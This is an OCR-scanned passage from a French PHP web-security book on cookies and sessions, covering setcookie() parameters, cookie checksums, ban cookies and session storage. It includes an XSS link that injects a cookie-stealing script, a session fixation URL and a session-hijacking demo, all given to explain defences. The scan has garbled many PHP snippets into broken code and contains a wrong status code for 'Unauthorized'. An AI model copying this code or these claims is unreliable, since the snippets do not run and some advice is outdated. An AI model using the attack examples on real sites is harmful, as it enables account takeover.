depuis leur interface, comme FireFox, avec les extensions développeurs (voir annexes).
Pour d’ autres, il faudra passer par lefichier de cookie. Au pire, et si vous avez lamain sur
le méme serveur que celui sur lequel vous faites le test, vous pouvez utiliser le script
suivant, avec le deuxiéme navigateur :

<?php
var_dump(setcookie('securite', 'vbamgbac9f24rprpbgh6obaup5') );
>

Aprés avoir assigné la valeur du cookie de session sur votre nouveau navigateur, dirigez-
le sur la page initiale : vous devriez voir apparaitre votre « nom », tel que vous |’ avez
rentré dans le navigateur initial. Aucune donnée n’ est passée entre les deux navigateurs,
hormis le cookie et sa valeur. Les sessions de PHP ont retrouvé une session initialisée
avec cette valeur de cookie et cette derniére a considéré que la valeur du cookie devait
étre celle de I utilisateur initial. En fait, la relation entre le cookie et I' utilisateur a été
brisée lorsgue nous avons copié la valeur du cookie entre les deux navigateurs et ¢’ est ce
qui a permis de contourner le systéme d’ identification de I’ application.

Il ne faut pas conclureici que les sessions PHP ne sont pas sires : en fait, elles se basent
sur laconfidentialité du cookie. La sécurité des sessions fonctionne comme pour les mots
de passe : quand le mot de passe a é&té dévoilé aun tiers, il perd toute ses caractéristiques
sécuritaires. C' est exactement pour cela que les pirates cherchent a mettre lamain sur les
cookies. Voler un cookie revient généralement a prendre I’ identité d’ un autre utilisateur,
ainsi que ses droits.

Il convient de noter que e systéme des sessions est supérieur aux mots de passe, car les
identifiants de session ont une durée de validité qui est généralement de 15 minutes:
aprés avoir volé un cookie, il faut que le pirate I’ exploite dans ce délai pour pouvoir en
tirer profit. Un mot de passe est généralement valide pour des durées bien plus longues, a
moins d'une politique de mises ajour réguliéres, ce qui est trop rarement le cas.

Il va donc falloir prendre des précautions pour se prémunir contre le sport mondial
numéro 1 : le vol de cookie et lesinjections HTML.
Gare aux XSS'!

Nous venons de voir comment voler un cookie par simple copier-coller. Au-dela de
I"illustration pédagogique, il reste rare de copier la valeur d un cookie pour la donner a
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un inconnu. En fait, le vol de cookie se fait notamment gréace aux XSS, les fameuses
injections de code dans les pages HTML.

En effet, prenons le cas d'un site vulnérable : le petit script de vol de cookie est parfait
pour cela. Nous avons une belle vulnérabilité XSS, puisque la variable $_GET[ “nom’ 1 est
rangée dans $_SESSION, puis affichée sans aucune précaution. Pour récupérer les données
de !’ utilisateur insouciant, le pirate vafournir une URL spéciale, comme celle-ci :

<a href= "cookie_vol.php%3Cscript+src%3D%22vol.js%22+%2F%3E">Venez par ici !</a>

En effectuant cette simple injection via une faille XSS, le malheureux utilisateur va se
rendre sur le site vulnérable et transmettre du méme coup tous ses cookies au site pirate.
Le pirate pourra alors enregistrer tous les cookies en cours, incluant les sessions ou les
cookies de longue durée. Il est désormais capable d’ usurper I'identité de I’ utilisateur et
d’ obtenir les mémes services que ce dernier.

Il est facile d’ assimiler un cookie aun utilisateur et de supposer qu'il représente fidelement
cedernier. C est exactement ce mécanisme que les pirates utilisent pour prendre la place
d'un utilisateur valide.

Défendre ses cookies

Malgré leur petite taille et leur grande utilité, les cookies disposent de nombreux méca
nismes pour limiter leur diffusion: connexion SSL, HTTP uniquement, durée de vie,
domaine et chemin.

Bien poser ses cookies

bool setcookie ( string name [, string value [, int expire [, string path [,
=string domain [, bool secure[, bool HTTPOnlyl11111 )

Dans saversion laplussimple, setcookie demande le nom du cookie et savaleur. En fait,
on peut méme se passer de lavaeur, mais celaindique au navigateur qu’ on souhaite effacer
le cookie.

Les paramétres de sécurité des cookies apparaissent a partir du troisieme argument et
sont tous optionnels. On peut quand méme déplorer que les arguments n’aient pas de
valeurs par défaut plus sécurisées, mais cela est slirement fait pour assurer une compati-
bilité plus grande avec toutes les architectures de serveur web.

Passons en revue les valeurs de ces arguments, pour voir comment on peut les utiliser
pour gagner en sécurité.

Date d’expiration

Expire st un entier optionnel qui représente ladate d’ expiration du cookie. Lorsque cette
valeur est omise, cela indique au navigateur que le cookie est valide jusqu’alafin dela
session du navigateur, ¢ est-a-dire lorsque ce dernier sera quitté par I’ utilisateur. En
pratique, celaimplique que le cookie est enregistré uniquement en mémoire, maisjamais
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sur le disgue, dans le fichier cookies.txt, ou son équivalent en fonction du navigateur
utilisé.

Cette fonctionnalité est relativement pratique pour des cookies a utiliser a court terme.

En termes de débogage, cela signifie que I’ on peut remettre a zéro les cookies du naviga-

teur simplement en le relangant. Dans | e cas des navigateurs en milieu public, comme un

café Internet, ¢’'est aussi |’ assurance qu’on peut simplement quitter le navigateur en fin

de session pour effacer toutes ses traces.

Lorsgu’ elle est fournie, ladate est exprimée sous forme d’ entier, ¢’ est donc un timestamp,
' est-a-dire le nombre de secondes depuis le 1 janvier 1970. Lorsgue la date est atteinte,
le cookie est effacé et |e navigateur cesse de |’ envoyer au serveur.

Techniquement, il est donc possible de poser des cookies valables jusqu’ en 2037. Inutile
de gloser longtemps sur I'intérét de poser un cookie qui devra résister aux changements
deversion deslogiciels, du systéme et méme de lamachine elle-méme : ¢’ est inimaginable
et méme si certains pourront tenter I’ expérience, ce seral’ exception qui confirme larégle.

Cookies de tres courte durée de vie

En pratique, il est difficile de manipuler des cookies de trop courte durée de vie. En effet,
il faut se méfier du décalage horaire qui existe entre le serveur et le navigateur.

Par exemple, si votre serveur parisien pose un cookie valable pendant une heure a un
utilisateur situé en Chine, cela donne un cookie mort-né. En effet, avec un décalage
horaire de 7 heures en plus par rapport a Paris, le cookie est posé aprés avoir expiré.

Ainsi, la position géographique du serveur par rapport aux visiteurs du site web a un
impact. Pour contourner le probléme des cookies de courte durée, vous pouvez gjouter
votre propre date de validité sous forme d'un entier dans lavaleur du cookie :

<?php
$valeur = (time() + 3600) . ':' . $variable;
setcookie('cookie',$valeur);
I
Lors de 1a Tecture des cookies, vous pouvez faire Te test suivant :
<?php

Tist($timestamp,$cookie) = explode(':"',$_COOKIE['cookie'l,2);
if($timestamp < time()) f
/I exécution
} else {
/I nettoyage
setcookie('cookie',"");

7>

Chemin autorisé au cookie

path est le chemin pour lequel le cookie est valable. Par défaut, c'est /, c’'est-a-dire la
racine du site. Sur le site www.monsiteweb.net, e cookie est donc renvoyé atoutes les pages
qui sont demandées sur le site. Si ce cookie sert al’identification d’ un administrateur, ce
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dernier n'en aura |’ utilité que dans son dossier www.monsiteweb.net/administration. Il est
donc recommandé de donner a path la valeur de /administration/. Le cookie est alors
utilisé uniquement lorsque |’ utilisateur est dans la zone d' administration, pas dans les
autres zones : moins le cookie est échangé entre le navigateur et le serveur, mieux ¢’ est.

Lalimitation de |’ acces au cookie sur le siteal’ aide de path est adaptée aux situations ou
vous partagez un nom de domaine et ou chague webmestre dispose d’'un dossier sur le
site, par exemple:

www . hebergeur.com/utilisateurl
www.hebergeur.com/utilisateur?2
www.hebergeur.com/utilisateur3, etc.

Dans ce cas, pour éviter de transmettre votre cookie a tous les autres webmestres du
méme site, path est efficace comme configuration de sécurité.

Domaine autorisé au cookie

L argument domain procéde selon un méme raisonnement que |’argument path, mais
s applique aux noms de domaines. C'est le cas des hébergements externalisés ol vous
disposez d’un nom de domaine spécifique pour votre site, sous le domaine de I” héber-
geur, par exemple:

php.nexenservices.com
mysql.nexenservices.com
securite.nexenservices.com, etc.

Dans ce cas, les sites sont distingués a I’aide du nom de domaine et non plus du
nom de dossier. L'argument domain vous permet de limiter le renvoi du cookie a un
sous-domaine particulier. Par exemple, en donnant a domain la valeur de securite,
alors securite.nexenservices.com recevra le cookie depuis votre application, alors que
php.nexenservices.com Ne lerecevra pas.

domain permet de maitriser I’ utilisation du cookie sur un domaine particulier. Toutefois,
comme les domaines peuvent étre configurés sur des adresses | P différentes, les versions
génériques de domain courent le risquent d’ étre envoyées a des IP différentes, méme s
elles sont toujours rangées dans le méme domaine.

Laversion la plus générique consiste aindiquer le nom du domaine, précédé d’ un point.
Par exemple, .php.net permet de poser un cookie qui seravalable sur tous les serveurs du
domaine php.net, Nnotamment sur fr.php.net, www.php.net, ir.php.net, €tc. Il s agit des
miroirs de PHP. Du point de vue fonctionnel, il serait dommage que les utilisateurs du
site php.net aient a refaire leur configuration a chaque changement de miroir, surtout
gu'il y a généralement plusieurs miroirs pour un méme pays... D’un autre coté, plus
domain est générique, plus grand est le risque de donner un cookie a un serveur qui serait
vulnérable. Comme toujours, il faut faire un arbitrage entre le niveau de restriction et
la sécurité.
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Connexion sécurisée pour les cookies

Le sixiéme argument de setcookie() indique si le cookie doit étre échangé avec le navi-
gateur via une connexion sécurisée. Si I'argument secure vaut true, le cookie attendra
gu’ une connexion sécurisée soit établie avec le serveur pour étre renvoyé au serveur. Cela
réduit les possibilités d' interception du cookie durant les échanges avec le serveur, mais
vous impose de mettre en place une connexion HTTPS. Si vous disposez d'une
connexion sécurisée, alors ne vous privez pas de mettre cet argument a 1.

Cookies réservés a HTTP

Enfin, HTTPON1y est le septiéme argument de la fonction setcookie(). Il n'est disponible
que depuis PHP 5.2 et ne fonctionne que sur les navigateurs de toute derniére génération.
Avec cette configuration, le cookie ne peut étre utilisé qu’ entre le serveur et le navigateur,
mais plus du tout par JavaScript notamment. Cela bloque considérablement les possibili-
tés pour les pirates en termes de XSS : sauf vulnérabilité du navigateur, ou absence de la
fonctionnalité, le cookie devient confidentiel entre le serveur et le navigateur.

Assurer les valeurs des cookies

Lorsgue vous utilisez un cookie qui porte une valeur, par opposition aux cookies qui ne
sont que des identifiants, et que vous ne pouvez pas utiliser de liste blanche, les options
de sécurisations sont les suivantes :

 Chiffrer lavaleur du cookie pour ne pas afficher la donnée directement en clair, ce qui
ne vous protége pas contre I’ usurpation de cookie, mais peut ralentir les pirates dans
leur compréhension du fonctionnement de votre site.

e Chiffrer le nom du cookie.

» Ajouter une somme de contr6le a la valeur du cookie. Prenez la valeur que vous
souhaitez stocker dans le cookie, gjoutez un préfixe ou un suffixe, voire les deux, et
placez la valeur de la somme de contréle & la fin de la valeur du cookie, ou dans un
cookie complémentaire. Lorsque ce dernier vous seraremis, vous pourrez rapidement
en vérifier | authenticité en recal culant la somme de contrdle.

<?php
$cookies = array('nom' => ‘'valeur', 'nom2'=> 'valeur2') ;
$cookies['sdc'] = md5("prefixe™.join("|", $cookies). "suffixe") ;
foreach($cookies as $nom => $valeur) {

setcookie($nom, $valeur) ;

7>

A la réception, vous pouvez recalculer la somme de contrdle pour vous assurer que le
cookie n'a pas été modifié :

<?php

$sdc_Tue = $_COOKIE['sdc'] ;

unset($_COOKIE['sdc'1) ;
$sdc_cal = md5(" prefixe ".join("|", $_COOKIE). " suffixe") ;
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if ($sdc_cal != $sdc_lue) {
/I Les cookies ont été modifiés!
$cookie = array() ;

[

Le cas des tableaux de cookies

En général, les cookies ne contiennent que des chaines de caractéres. Méme lorsque vous
leur affectez un nombre, décimal ou entier, il sera stocké sous forme de chaine de carac-
téres. Cependant, PHP est aussi capable de gérer |es cookies sous forme de tableau, exac-
tement comme avec les méthodes PosT et GeT. En fait, PHP reconnait la structure et il est
possible d' affecter un cookie sous forme de tableau :

<?php

$x = range(1,5);
foreach($x as $i) {
if (setcookie('test['.$i.']", 'valeur '.$1)) {
print "$i : OK<br />\n";
} else {
print "$i : KO<br />\n";
}
}

print_r($_COOKIE) ;
>

Apreés deux chargements de la page, vous devriez voir apparaitre ceci :

Array
(
[test] => Array
(

[1] => valeur
[2] => valeur
[3] => valeur
[4] => valeur
[5] => valeur

OB W NN =

)

$_COOKIE['test'] est untableau maintenant. Si vos scripts s attendent a ce que les cookies
soient toujours sous forme de chalnes de caractéres, ils risquent d’ étre dégus. Pensez
donc a gjouter un test sur le type de lavaleur avant de les manipuler.

De laméme facon, il est possible de poser un cookie sous la forme d’ un tableau multi-
dimensionndl :

<{?php

setcookie('test'.str_repeat('[]', 500), 'valeur ") ;

i
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Voila un tableau PHP de 500 niveaux de profondeur, avec une seule valeur. Si vous
n'avez pas activé la limitation de mémoire dans les directives PHP, vous obtiendrez des
scripts fortement consommateurs de mémoire, et probablement totalement inutilisables.

Un cookie comme défense

Paradoxalement, les cookies peuvent aussi servir a défendre une application web. Tout
simplement, vous pouvez bannir un utilisateur en lui affectant un cookie de maniereale
repérer immédiatement a son retour sur votre site. Dansla pratique, il est étonnant de voir
gue cette technique fonctionne souvent.

Pour commencer, il faut disposer d'un critére pour marquer indésirable un utilisateur sur
votre site: vous pouvez simplement utiliser un faux site, des leurres sous forme de
fichiers ou un compteur de sollicitations, ou n'importe quelle autre méthode. Une fois
gue I’ utilisateur dépasse les bornes, marquez-le avec un cookie, comme Ceci :

<?php
Setcookie('PHPSESSID', md5(microtime()), time + 24 * 3600, '/','.mesites.com') ;
>

Pour exploiter cette information, il suffit de tester la présence de ce cookie dés le début
du script et d’'interrompre le fonctionnement de ce dernier dés que vous repérez le
cookie:

<?php
If (isset($_COOKIE[L'PHPSESSID'])) { header("HTTP/1.0 404 Not Found"); die() ;}
>

Labeauté du systeme fait que vous pouvez appliquer une durée de bannissement directe-
ment dans le cookie, grace au paramétre expire. Si le pirate utilise un systéme qui
respecte un peu les spécifications des cookies, aors il va s exclure lui-méme durant
24 heures. De plus, méme s'il utilise un proxy, ou bien s'il change d’ adresse | P ou méme
de fournisseur d’ acces, vous pourrez continuer de le bloquer.

Cette astuce est assez étonnante, mais paradoxal ement effective. En fait, de nombreuses
araignées (spiders en anglais) et bots supportent les cookies et respectent les RFC : leur
but est de ressembler au maximum aun navigateur standard. Autrement, ils ne pourraient
pas passer sur les nombreux sites qui les exigent. Ainsi, ils vont généralement accepter
votre cookie, afin de se conformer aux exigences de votre application web. Avec un peu
de chance, votre cookie passera inapergul.

Inversement, les robots Iégitimes, tels que ceux des principaux moteurs de recherche,
n’ utilisent aucun cookie. C’ est assez paradoxal .

Enfait, s vous donnez & votre cookie un nom trés courant et anodin, comme PHPSESSID, il
y a des chances pour que cela passe inapercu auprés du pirate, méme si ce dernier
surveille de prés les opérations. Et ce sera particulierement efficace dans le cas des atta-
gues massives ou des analyses au hasard. De plus, comme cette technique prend au total
deux lignes de code PHP, ¢’ est une protection a connaitre.
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Forcer le passage par un formulaire

Il'y a de nombreuses situations ou vous voudrez vous assurer qu’un utilisateur est bien
passé par un formulaire donné avant de lui afficher une autre page. 11 est courant de lier
une page de résultat avec son formulaire: en fait, ¢'est une croyance courante qu’'un
script d action répond automatiquement au formulaire qui I’ appelle. Pourtant, la nature
déconnectée du Web fait qu'il est possible de passer par n’importe quel formulaire pour
utiliser une page, voire de ne pas passer par un formulaire.

Il est illusoire de forcer la connexion entre le formulaire et le script d’action, comme
nous I’avonsvu : il est toujours possible de se passer du formulaire.

Si vous cherchez une méthode raisonnable pour vous assurer qu’ un utilisateur est passé
par une page avant d’arriver sur une autre, vous pouvez poser un cookie dans le formu-
laire et le vérifier une fois arrivé dans le script d’ exécution, comme ceci :

/I Formulaire.php
<{?php Setcookie('formulaire', md5('prefixe'.$_SERVER['REMOTE_ADDR'I), time + 24
=* 3600, '/','www.mesites.com") ; ?>
<form action="action.php" method="POST">
<input type="submit" value="soumission">
</form>

/I action.php
<?php
if ( lisset($_COOKIEL" formulaire "1) ||
md5('prefixe'.$_SERVER['REMOTE_ADDR']) != $_COOKIE['formulaire'])) {
/I effacement du cookie
setcookie('formulaire');
/I redirection
header('Location : /formulaire.html') ;
die();

[

Cette technique vous assure que I’ utilisateur est bien passé sur la page formulaire.php €t
gu'il accepte bien les cookies, ce qui devrait faire I’ affaire dans 95 % des cas. Pour les
5 % qui restent, il faudra peut-étre trouver une technique complémentaire, comme I’ gjout
d'un champ caché dans le formulaire.

Les sessions

L es sessions répondent a un probléme crucial du protocole HTTP : comment conserver
des informations entre deux pages web. En effet, le protocole HTTP est sans état : entre
deux sollicitations du serveur web, toutes les informations sont perdues.

Dans ce cadre, comment établir des fonctionnalités de base, comme une séance de travail
ou une identification ? Sans systéme de sessions, il n’est plus envisageable de mettre en
place une identification, car elle doit étre envoyée a chaque fois.
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C'est exactement ce que fait I'identification HTTP : en réponse & un code 402 (Unautho-
rized), le navigateur affiche un dialogue ou I’ on peut saisir un nom d’ utilisateur et un mot
de passe. Aprés cela, I utilisateur est identifié et il peut naviguer sur les ressources qu'il
souhaite. Toutefois, la réalité est masquée : en effet, le navigateur note les informations
de connexion lors du dialogue et les transmet a chague fois qu'il interroge le site web. 1l
fournit donc une aide non négligeable a I’ utilisateur, mais ne résout pas le probleme
initial : le serveur web oublie tout entre deux requétes.

Fonctionnement des sessions

Les sessions PHP ont pour objectif de résoudre ce probléme. Entre deux scripts PHP, des
données mises en session sont transmises automatiquement. Le premier script peut ainsi
établir une identité et le second fournir des services en fonction de cette identité. Pour y
arriver, PHP doit composer avec les contraintes du protocole HTTP,

Le Web et la persistance

Il faut résoudre deux problémes : la persistance des données sur le serveur et I'identité du
visiteur auquel sont associées les données sauvées. Les sessions sont donc au confluent
de nombreuses technologies et elles exploitent des ressources complémentaires.

Pour résoudre le probleme de persistance, PHP doit faire appel a un medium stable: en
effet, PHP [ui-méme n’est pas persistant entre deux requétes. Par défaut, il fait appel au
systeme de fichiers, maisil peut auss s'interfacer avec d’ autres systémes pour y stocker
les données, puislesrelire : bases de données, mémoire vive, démons, etc.

Les sessions PHP sont donc constituées de trois parties:

e un identifiant de session, unique et aléatoire, qui est confié au navigateur pour une
durée spécifique ;

* un stockage de données, appelé par le script et accessible depuis e serveur ;

 un systéme de communication de I’ identifiant atous les scripts PHP qui en ont besoin.

Malheureusement, chacun de ces systémes est sujet a des vulnérabilités et des limitations.

Deux méthodes de transport

Du coté Web, il faut un systéme qui assure le suivi de I’ utilisateur en fonction de sa navi-
gation. PHP propose deux techniques pour cela: les cookies ou la réécriture de liens,
aussi appelétrans-id.

Les cookies sont la forme la plus adaptée au suivi de session. En effet, comme nous
I"avons vu précédemment, ils sont confinés a un navigateur et s'échangent exclusivement
entre le navigateur et le serveur. De plus, ils disposent d’ un systeme de limitations dans e
temps (la date d’ expiration du cookie) et dans |’ espace web (les limitations par domaine,
par serveur et méme par chemin), qui en font |’ outil idéal pour gérer les sessions.
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Pour suivre la navigation d’'un visiteur qui refuse les cookies, il suffit de personnaliser
tous les liens d’'un site. La valeur qui était stockée dans les cookies est I'identifiant de
session : ' est cette valeur que PHP va gjouter a chaque lien utilisé dans une application
web, pour pouvoir le retrouver lorsque I’ utilisateur du site effectue sa progression.
Comme on ne peut pas prévoir al’ avance la prochaine page demandée, il faut que chaque
lien soit modifié. Cette méthode est plus universelle que les cookies et ne peut pas étre
désactivée coté navigateur.

Le choix entre les deux méthodes de transmission de I identifiant de session est discutable.
D’un cbté, le cookie est un mécanisme adapté et relativement sir. Néanmoins, une frac-
tion de la population en ligne n’ utilise pas de cookies, notamment les robots de moteurs
de recherche. De plus, les cookies sont les victimes désignées des vols et des injections
XSS. D'un autre coté, lesidentifiants dans les URL sont plusfaciles a pirater : il suffit de
leliredans!’URL, ou bien de se lafaire envoyer par un utilisateur peu prudent. Combien de
fois at-on vu un message, transmis par IRC, courrier électronique, forum ou commentaire
de blog: « Regarde ce que je Iui a répondu: http://www.unforum.net/forum.php?
=12345& PHPSESS |D=67844b40de50d933 » ?

L'importance de 'identifiant

Au bout du compte, les sessions mettent en place un systéme dans lequel des données
placées sur le serveur sont reliées a un utilisateur al’aide d’ un identifiant de session. Si
un utilisateur présente un tel identifiant, alors PHP charge les données correspondantes
dans son medium de stockage. Sinon, une nouvelle session est créée, ou bien |’ utilisateur
est considéré comme anonyme.

Cette approche fait ainsi peser toute la sécurité sur I’ identifiant. De laméme facon qu’ un
mot de passe régit I’ acces a de nombreuses technologies, I'identifiant est le sésame qui
donne acces al’identité d’ un utilisateur sur un serveur. Si un pirate vole un identifiant de
session, il peut usurper I'identité d’un autre utilisateur.

Les données qui sont sur le serveur sont bien protégées, dans la mesure ou €lles ne sortent
pas du serveur [ui-méme, amoins que celane soit prévu par le site et demandé par le visiteur.
La protection des données dépend donc directement de la sécurité de I’ identifiant.

L’ identifiant lui-méme ne contient aucune information. |l faut bien comprendre qu’il est
compléetement aléatoire. Il présentelaméme valeur qu’une clé: en soi, ¢’ est un béte morceau
de métal, mais si elle est utilisée dans la bonne serrure, ¢ est tout un espace confidentiel
qui est ouvert. Toutefois, il existe un nombre incroyable de serrures et les essayer toutes
sans se faire repérer est illusoire.

Il est donc primordial de bien protéger I'identifiant, d’ autant que les techniques pour le
voler sont nombreuses. Les premiéres sources de probléemes sont les XSS : ces vulnéra-
bilités qui permettent de faire exécuter n'importe quel code JavaScript sont idéales pour
exporter un identifiant de session vers un site externe, qui pourral’ utiliser immédiatement.
Cependant, il y a également d’ autres risques.
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Les risques liés aux sessions

Dans leur implémentation actuelle, les sessions présentent quelques risgues de sécurité,
dont I"'importance est tres variable en fonction des choix d' architecture de votre appli-
cation. Par exemple, un hébergement partagé sera plus dangereux pour les sessions qu’ un
hébergement dédié.

Il'y en atrois principaux a surveiller :

o L'identification du visiteur : ¢'est le lien entre le visiteur et la session. PHP fournit un
systéme d'identification, maisil est faible.

* Lafixation de session, ou comment imposer un identifiant de session depuis |’ extérieur.

» Lestockage desvaleursde session sur le serveur : lesfichierset ledossier /tmp/ ne sont
pas toujours la meilleure solution en termes de sécurité.

L'identification

Les sessions fournissent un moyen pour relier des données sur le serveur avec un inter-
naute. |l faut bien comprendre qu’a aucun moment, les sessions n'assurent I identité de
I’ utilisateur. Comme nous I’ avons vu, il suffit de prendre un identifiant de session et de
I" utiliser sur un autre navigateur pour prendre I’identité d’ un utilisateur.

Pour se protéger contre ce type de transfert, il n'y a malheureusement pas de technique
universelle : en effet, le protocole HT TP repose beaucoup sur des informations en prove-
nance directe de I’ utilisateur, qui peuvent étre aisément manipul ées.

On est donc réduit & mettre en place des techniques de surveillance qui compliquent la

vie d'un pirate sans compliquer celle de I’ utilisateur. Voici quelques astuces a utiliser,

gue vous pourrez appliquer en fonction de leur niveau de complexité et de vos objectifs
de sécurité:

e Enregistrer I'adresse IP de I’ utilisateur et la vérifier & chaque démarrage de session.
C'est en effet I'une des informations les plus stables de la relation entre un utilisateur
et un serveur. Utilisez la version numérique de $_SERVER["REMOTE_ADDR"1, pour ne pas
étre déjoué par un tour de passe-passe DNS. En revanche, cette protection est ineffi-
cace contre les pirates qui passent par le méme proxy gqu’ un utilisateur |égitime. Cette
technique pourra aussi poser des problemes aux utilisateurs AOL, qui apparaissent
parfois avec plusieurs I P en fonction du proxy qui est utilisé.

» Enregistrer la signature du navigateur HTTP_USER_AGENT, ou bien sa configuration de
langues HTTP_ACCEPT_LANGUAGE, ou de formats HTTP_ACCEPT_DECODING. Ces trois informa-
tions sont généralement stables durant une session de travail. Il est exceptionnel de
changer de navigateur durant la navigation sur un site, ou de reconfigurer les langues
acceptées. Notez néanmoins que si un pirate peut voler un identifiant de session, il
saura sirement obtenir ces informations en méme temps.

» Changements fréquents d'identifiant : sans changer ladurée de vie delasession, il est
intéressant de modifier I'identifiant de session fréquemment. Cela donne une durée de
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vie plus courte a I'identifiant, sans modifier la durée de vie de la session. Toutefois,
il est souvent colteux de modifier cet identifiant et cela a un impact en termes de
performances.

» Vérificationsd identité aléatoires : si on part del’ hypothése quele pirate ' apasmisla
main sur lesinformations d’ identité, mais simplement sur I’ identifiant de session, alors
une nouvelle demande d’ identification vale bloquer, tandis que celalaissera passer un
utilisateur |égitime. Vous pouvez placer des identifications supplémentaires a inter-
valle temporel régulier ou al éatoire, en fonction d’ un nombre de clics ou d’ opérations,
ou encore en fonction de I'importance des opérations qui ont lieu. |l reste alors a
évaluer le niveau d'intrusion que vos utilisateurs pourront accepter pour Ssécuriser
I" application. Cette technique est particuliérement recommandée contre les CSRF.

» Enintranet, il existe souvent des méthodes complémentaires pour s assurer de I’ iden-
tité d’un utilisateur : un serveur LDAP central, une convention de nommage du réseau,
etc. Il est donc intéressant de vérifier si ce type de régle est bien vérifié. De méme,
certains intranets imposent des caractéristiques techniques aux navigateurs, ce qui
permet une validation plus aisée. Consultez lesregles de sécurité de votre entreprise et
n'oubliez pas que si ces régles ne changent pas souvent, elles changent parfois quand
méme.

Ces astuces sont compatibles les unes avec les autres ; vous pouvez donc les utiliser toutes
en méme temps.

La fixation de session

La fixation de session est une technique qui vise a donner a un utilisateur 1égitime un
identifiant de session connu al’ avance.

Lorsgue PHP initialise les sessions, il vérifie si un identifiant [ui a été transmis. Si I'iden-
tifiant est connu, il charge les données de session. Sinon, il ouvre une nouvelle session
avec cet identifiant.

Pour utiliser ce mécanisme a son avantage, un pirate donne a une victime un identifiant
de session qu'il choisit et ladirige verslesite:

http://www.site.com/Togin.php ?PHPSESS_ID=123456790

Lavictime utilise dlors a son insu I’ identifiant de session et obtient des droits sur le site
web victime. Le pirate a simplement a attendre que la session accede a des droits
intéressants : il N'a pas besoin de voler la session, puisqu’il I'a lui-méme fournie. Il lui
suffit d’ attendre un moment, puis de se présenter sur le site avec cet identifiant pour prendre
une nouvelle identité.

La solution consiste a ne pas initialiser une session a partir d' un identifiant fourni par
I"utilisateur. Ainsi, au démarrage d’ une session, vous devez enregistrer une valeur qui
indique que c'est bien I'application qui a initialisé la session et que ce n'est pas une
session vide, ou obtenue d’ une autre maniére.
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<?php
session_start() ;
if ( !isset($_SESSION["initialisation"])) {
session_regenerate_id()
$_SESSION['"initialisation'] = time() ;

7>

Avec cette approche, si une session ne contient pas une valeur que |’ application aurait
elleméme enregistrée, alors c'est une fixation de session. La fonction
session_regenerate_id() créealorsun nouvel identifiant.

Si vous n'avez pas de version récente de PHP, commencez par mettre a jour votre
installation: cela pourrait protéger automatiquement votre installation contre le
probléme de fixation. Au pire, et le temps de trouver une version plus sécuritaire, vous
pouvez simplement détruire la session en cours et forcer le rechargement de lavraie page
de démarrage des sessions, afin d’ avoir un identifiant propre.

Le démarrage des sessions

Le point de démarrage des sessions est un facteur important dans les usurpations d’iden-
tité. Nous venons d’en voir un exemple.

Une version plus sophistiquée des fixations de session consiste pour le pirate ainitialiser
une session sur le site de I’ application web et a conserver I'identifiant de cette session,
jusgu’'a ce qu'il la transmette a une victime pour qu’elle I’ utilise. Du point de vue de
I"application, c’est une session valide, alors qu’elle aura été attribuée au pirate, puis
donnée par ce dernier au tiers consentant.

Le point de démarrage des sessions et I attribution de I"identifiant est donc tres impor-
tant. Etudions le code suivant, qui est associé a un formulaire d'identification classique
type utilisateur / mot de passe.

<?php
session_start()
if (lisset($_POST['login']) {
$message = 'Bienvenue ! Identifiez-vous ou créez un compte' ;
} else {
$T1ogin = filtre($_POST['login'], 'utilisateur') ;
$password = filtre($_POST['password'], 'mot_de_passe')
if (identifie($login, $ password) {
$_SESSION["utilisateur"] = $login ;
$message= 'Bienvenue !' ;
} else {
$message= 'Le nom d\'utilisateur et le mot de passe ne coincident pas.
" Essayez a nouveau' ;
unset($_SESSION["utilisateur"1);
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Dans cet exemple, la session est démarrée des que le script d'identification est sollicité.
Un identifiant est produit et envoyé al’ utilisateur. En réalité, ce dernier ne pourral’ utili-
ser quelorsqu’il auraréussi afournir unidentifiant et un mot de passe qui correspondent.

Un pirate peut donc se servir de cette organisation pour obtenir un identifiant de session
valide: il suffit de venir sur le site pour en obtenir un. La session peut étre entretenue
habilement en testant un mot de passe au hasard régulierement, ou obtenue ala derniere
minute.

Pour passer la barriére de I’identification, le pirate n’a plus qu’a donner cet identifiant
Iégitime a un utilisateur |égitime, pour qu’il I’ utilise. On se retrouve dans la méme situa-
tion que pour lafixation de session, mais avec une approche un peu plus compliquée.

Pour se protéger, il faut surtout éviter de fournir facilement un identifiant de session. Ici,
il est disponible publiquement, alorsqu'’il pourrait étre fourni uniquement a un utilisateur
qui S est présenté. Pour cela, il suffit de déplacer I’ initialisation de session depuisle script
dans la condition d'identification. Notez que le session_start() est optionnel si
session.auto_start est activé danslefichier php.ini.

<{?php

/I destruction systématique des sessions entrantes.
session_start() ;

session_destroy() ;

if (lisset($_POST['login']) {
$message = 'Bienvenue ! Identifiez-vous ou créez un compte' ;
} else {
$1ogin = filtre($_POST['login'], 'utilisateur') ;
$password = filtre($_POST[ 'password'], 'mot_de_passe')
if(identifie($login, $password) {
session_start() ;
$_SESSION['utilisateur'] = $login ;
$message= 'Bienvenue !' ;
/Iredirection obligatoire maintenant.
} else {
$message= 'Le nom d\'utilisateur et Te mot de passe ne coincident pas.
= Essayez a nouveau' ;
unset($_SESSIONL" utilisateur™ 1 );

I

Le stockage des sessions

Nous avons évoqué le stockage des données sur le serveur web, en disant qu'il est plutét
sOr. En fait, le niveau de sécurité des données dépend directement du moyen de stockage.

Sur un serveur dédié classique, le stockage est généralement s{ir, car I’ acces a toutes les
ressources du serveur sont réservées. Toutefois, cela peut changer rapidement, notamment
si plusieurs applications sont hébergées simultanément sur le méme serveur.
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Par défaut, PHP enregistre les données dans |le dossier temporaire du serveur /tmp/, qui
est accessible en lecture et écriture par tous. I est donc recommandé d’ utiliser un dossier
plus discret, qui seraréservé au serveur web, au lieu d' utiliser un dossier ouvert atous.

Sur un serveur partagé, le probléme de I’ acces au dossier de stockage des sessions devient
crucial. Tous les scripts PHP sont exécutés par e serveur web et le dossier évoqué précé-
demment ne protégera pas beaucoup plus vos données. Il faut chercher un autre moyen
de stockage, qui soit réservé au détenteur du compte et non plus au serveur web.

La melilleure approche est souvent d'utiliser la base de données pour y stocker les
sessions : |” accés a cette derniére est protégée par un nom d’ utilisateur et un mot de passe
propres a chaque compte. Les bases de données sont rarement partagées.

Pour diriger le stockage des sessions de PHP vers la base de données, il faut configurer
un gestionnaire de sessions, avec la fonction session_set_save_handler(), qui utilise
Six sous-fonctions:

* open . ouverture;

* close : fermeture;

e read : lecture des données;

e write : écriture desdonnées;

» destroy : destruction de la session (ne pas confondre avec Close) ;

* gc, pour Garbage Collection : suppression des données de sessions trop vieilles.

La documentation PHP dispose d'illustrations de cette fonction et |a bibliothéque AdoDB
dispose méme d’un module dédié a cela.






Partie 2

Mesures de securité
